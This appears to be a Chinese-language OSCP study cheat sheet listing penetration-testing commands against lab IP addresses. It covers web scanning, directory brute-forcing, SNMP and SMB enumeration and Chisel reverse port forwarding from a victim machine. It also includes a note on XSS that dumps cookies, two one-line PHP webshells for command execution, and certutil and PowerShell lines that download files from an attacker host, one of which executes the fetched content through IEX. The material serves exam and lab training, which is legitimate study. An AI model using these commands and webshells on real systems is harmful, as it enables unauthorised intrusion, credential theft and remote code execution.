OSCP 学习指南
Nikto 扫描:
nikto -h http://10.10.10.1
使用不同工具进行目录爆破:
DIRB
dirb http://10.10.10.1
Gobuster
gobuster dir -u http://10.129.155.74:3000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x aspx
XSS 载荷: 速查表:https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
使用 netcat 监听器或 python Web 服务器进行基本 XSS 表单测试
跨站脚本转储 base64 编码的 cookies。确保在 burp 中使用 ctrl + u 进行 URL 编码
参考:https://sushant747.gitbooks.io/total-oscp-guide/content/webshell.html
用于命令执行的简单 PHP webshell
<?php system($_REQUEST ['cmd']) ?>
<?php system($_GET['cmd']); ?>
端口 161 UDP
snmpwalk -c public -v2c 10.129.213.210
snmp-check 10.129.213.210
crackmapexec smb 10.129.70.254
检测开放的匿名共享
smbclient -L //10.129.70.254
空认证
smbclient -N -L //10.129.70.254
Certutil:
certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe
PowerShell:
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.11.0.4/wget.exe','C:\Users\offsec\Desktop\wget.exe')"
powershell.exe "IEX(New-Object Net.WebClient).downloadString('http://10.11.0.4/nc.exe')"
使用 Chisel:
使用端口转发使 kali 机器上的 910 端口可用的示例
on victim machine setup port forwarding
chisel.exe client 10.10.16.10:5555 R:910:127.0.0.1:910
On Kali attack box setup a reverse listner for port forward with chisel
./chisel server --port 5555 --reverse